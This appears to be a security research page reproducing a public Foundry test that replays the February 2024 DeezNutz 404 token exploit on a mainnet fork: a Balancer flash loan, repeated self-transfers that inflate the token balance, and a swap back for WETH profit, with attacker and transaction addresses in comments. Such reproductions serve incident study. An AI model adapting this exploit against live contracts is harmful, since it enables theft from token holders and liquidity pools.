Public reproduction file

src/test/2024-02/DeezNutz404_exp.sol

Public reproduction file for dataset entry DeezNutz 404.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/DeezNutz404_exp.sol66 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost : ~170K USD$
7// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
8// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
9// Vulnerable Contract : https://etherscan.io/address/0xb57e874082417b66877429481473cf9fcd8e0b8a#code
10// Attack Tx : https://etherscan.io/tx/0xbeefd8faba2aa82704afe821fd41b670319203dd9090f7af8affdf6bcfec2d61
11 
12// @Analysis
13// https://twitter.com/ImmuneBytes/status/1664239580210495489
14 
15contract DeezNutzTest is Test {
16    IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
17    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
18    IERC20 DeezNutz = IERC20(0xb57E874082417b66877429481473CF9FCd8e0b8a); // 404 token can be regarded as erc20
19    IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
20    address pair = 0x1fB4904b26DE8C043959201A63b4b23C414251E2; // pair address
21 
22    function setUp() public {
23        vm.createSelectFork("mainnet", 19_277_802);
24        emit log_named_uint("Before attack, WETH amount", WETH.balanceOf(address(this)) / 1 ether);
25    }
26 
27    function testExploit() public {
28        address[] memory tokens = new address[](1);
29        tokens[0] = address(WETH);
30        uint256[] memory amounts = new uint256[](1);
31        amounts[0] = 2000 ether;
32 
33        emit log_string("------------------- flashloan from balancer ---------");
34        vault.flashLoan(address(this), tokens, amounts, "");
35        emit log_string("------------------- flashloan finish ----------------");
36 
37        emit log_named_uint("after attack, WETH amount", WETH.balanceOf(address(this)) / 1 ether);
38    }
39 
40    function receiveFlashLoan(address[] memory, uint256[] memory, uint256[] memory, bytes memory) external {
41        emit log_named_uint("after borrow, WETH amount", WETH.balanceOf(address(this)) / 1 ether);
42 
43        WETH.approve(address(router), type(uint256).max);
44        address[] memory path = new address[](2);
45        path[0] = address(WETH);
46        path[1] = address(DeezNutz);
47 
48        router.swapExactTokensForTokens(WETH.balanceOf(address(this)), 0, path, address(this), type(uint256).max);
49        emit log_named_uint("after swap, DeezNutz amount", DeezNutz.balanceOf(address(this)) / 1 ether);
50 
51        for (uint256 x = 0; x < 5; x++) {
52            DeezNutz.transfer(address(this), DeezNutz.balanceOf(address(this)));
53            emit log_named_uint("after self transfer, DeezNutz amount", DeezNutz.balanceOf(address(this)) / 1 ether);
54        }
55 
56        DeezNutz.approve(address(router), type(uint256).max);
57        path[0] = address(DeezNutz);
58        path[1] = address(WETH);
59 
60        DeezNutz.transfer(pair, DeezNutz.balanceOf(address(this)) / 20); // to pass k value test.
61        router.swapExactTokensForTokens(DeezNutz.balanceOf(address(this)), 0, path, address(this), type(uint256).max);
62        emit log_named_uint("after swap back, WETH amount", WETH.balanceOf(address(this)) / 1 ether);
63 
64        WETH.transfer(msg.sender, 2001 ether);
65    }
66}

Analysis

Dataset entry

Public Foundry test for “DeezNutz 404” (2024-02-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
Attack Contract
0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
Vulnerable Contract
0xb57e874082417b66877429481473cf9fcd8e0b8a

Attack Tx
0xbeefd8faba2aa82704afe821fd41b670319203dd9090f7af8affdf6bcfec2d61

File record

Name: DeezNutz 404
Path: src/test/2024-02/DeezNutz404_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 6bf8d7df9b4bcadedfb0c33eaea92ab2b1e7143f
Language: Solidity
Size: 67 lines
Date: 2024-02-21
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-02/DeezNutz404_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6bf8d7df9b4bcadedfb0c33eaea92ab2b1e7143f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.